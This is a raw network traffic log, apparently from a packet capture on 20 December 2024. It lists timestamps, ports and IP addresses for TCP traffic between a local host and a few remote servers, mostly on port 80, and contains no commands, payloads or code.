Dec 20, 2024 21:13:47.058558941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.058576107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.059979916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.060030937 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.060079098 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.060126066 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.136943102 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.159734964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.159812927 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.159822941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.159892082 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.159998894 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.160048008 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.160583019 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.160686970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.161525965 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.161587000 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.161660910 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.161745071 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.162133932 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.162440062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.162568092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.163218975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.163367987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.163772106 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.164031029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.164144039 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.164199114 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.164901972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.165034056 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.165858030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.165935993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.165975094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.166027069 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.166793108 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.166881084 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.166941881 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.167747021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.167850018 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.168747902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.168814898 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.168836117 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.168888092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.169624090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.169749975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.170629025 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.170689106 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.170777082 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.171770096 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.171825886 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.171838999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.171886921 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.172763109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.172878027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.172985077 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.173679113 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.173803091 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.174499035 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.174555063 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.174593925 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.174643040 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.175349951 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.175470114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.175520897 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.176245928 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.176314116 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.177217007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.177277088 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.177444935 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.177496910 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.178178072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.178332090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.178633928 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.179219007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.179488897 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.180018902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.180088043 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.180136919 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.180196047 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.181019068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.181114912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.181921005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.181992054 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.182029009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.182079077 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.182884932 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.183073044 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.183135033 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.183854103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.183968067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.184812069 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.184879065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.184972048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.185024977 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.185756922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.185875893 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.186628103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.186681032 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.186764956 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.186820984 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.187608004 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.187702894 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.187761068 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.188570976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.188612938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.189455986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.189513922 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.189555883 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.189604998 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.190403938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.190541983 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.190785885 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.191392899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.191533089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.192377090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.192437887 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.192682028 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.192739010 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.193278074 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.193346024 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.193494081 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.194183111 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.194236994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.194703102 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.195354939 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.195456028 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.196208954 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.196265936 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.196290970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.196340084 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.197073936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.197160959 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.197284937 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.197987080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.198112011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.198952913 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.199013948 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.199028969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.199836016 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.199898958 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.199918985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.199975967 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.200784922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.200902939 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.201745033 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.201806068 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.201848030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.201900959 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.202683926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.240781069 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.240797043 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.240865946 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.240947008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.241051912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.241126060 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.242044926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.242109060 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.242141008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.242666006 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.242738008 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.242783070 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.243602991 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.243715048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.243777990 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.244627953 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.244683981 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.244684935 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.245474100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.245629072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.245686054 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.246378899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.246438026 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.351562023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.351670980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.351846933 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.351983070 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.352085114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.352971077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.353043079 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.353087902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.353141069 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.353866100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.354151964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.354207993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.354255915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.355120897 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.355365038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.355420113 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.356057882 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.356113911 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.356132030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.356991053 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.357124090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.357177019 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.357953072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.358007908 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.358030081 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.358906031 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.358993053 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.359273911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.359877110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.359935999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.359988928 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.360771894 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.360825062 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.360893011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.361726999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.361818075 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.361871958 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.362643003 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.362812042 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.362867117 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.363599062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.363714933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.363778114 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.364576101 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.364705086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.364761114 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.365519047 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.365573883 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.365612984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.366445065 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.366508007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.366533995 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.367388964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.367501020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.367551088 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.368319035 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.368376970 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.368474007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.369483948 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.369586945 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.369640112 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.370414972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.370466948 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.370524883 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.371278048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.371335983 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.371419907 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.372112036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.372209072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.372262955 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.373105049 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.373163939 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.373204947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.374013901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.374155998 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.374207973 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.374954939 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.375051022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.375102997 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.375886917 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.375938892 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.376019955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.376828909 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.376924038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.376975060 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.377878904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.377938986 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.377974987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.378746033 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.378839970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.378890991 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.379687071 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.379735947 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.379776001 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.380633116 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.380789995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.380845070 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.381598949 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.381649971 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.381695032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.382472992 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.382561922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.382617950 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.383465052 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.383559942 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.383615971 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.384407043 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.384454966 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.384548903 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.385327101 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.385451078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.385503054 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.386276007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.386332035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.386372089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.387417078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.387562037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.387618065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.388225079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.388277054 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.388304949 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.389214993 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.389312029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.389363050 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.390079975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.390134096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.390167952 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.390994072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.391098022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.391174078 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.391954899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.392009974 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.392045975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.392887115 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.393026114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.393089056 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.393918037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.393975019 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.394068956 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.394789934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.394864082 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.433142900 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.433270931 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.433362007 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.433571100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.433679104 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.434518099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.434576035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.434607029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.434653997 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.435448885 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.435554028 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.436429977 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.436479092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.436505079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.436548948 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.437438965 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.437583923 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.438298941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.438344002 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.438388109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.438437939 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.554811001 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:47.554848909 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:47.554980993 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:47.854557037 CET	80	49951	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:47.854672909 CET	49951	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:47.913696051 CET	80	49944	185.121.15.192	192.168.2.6
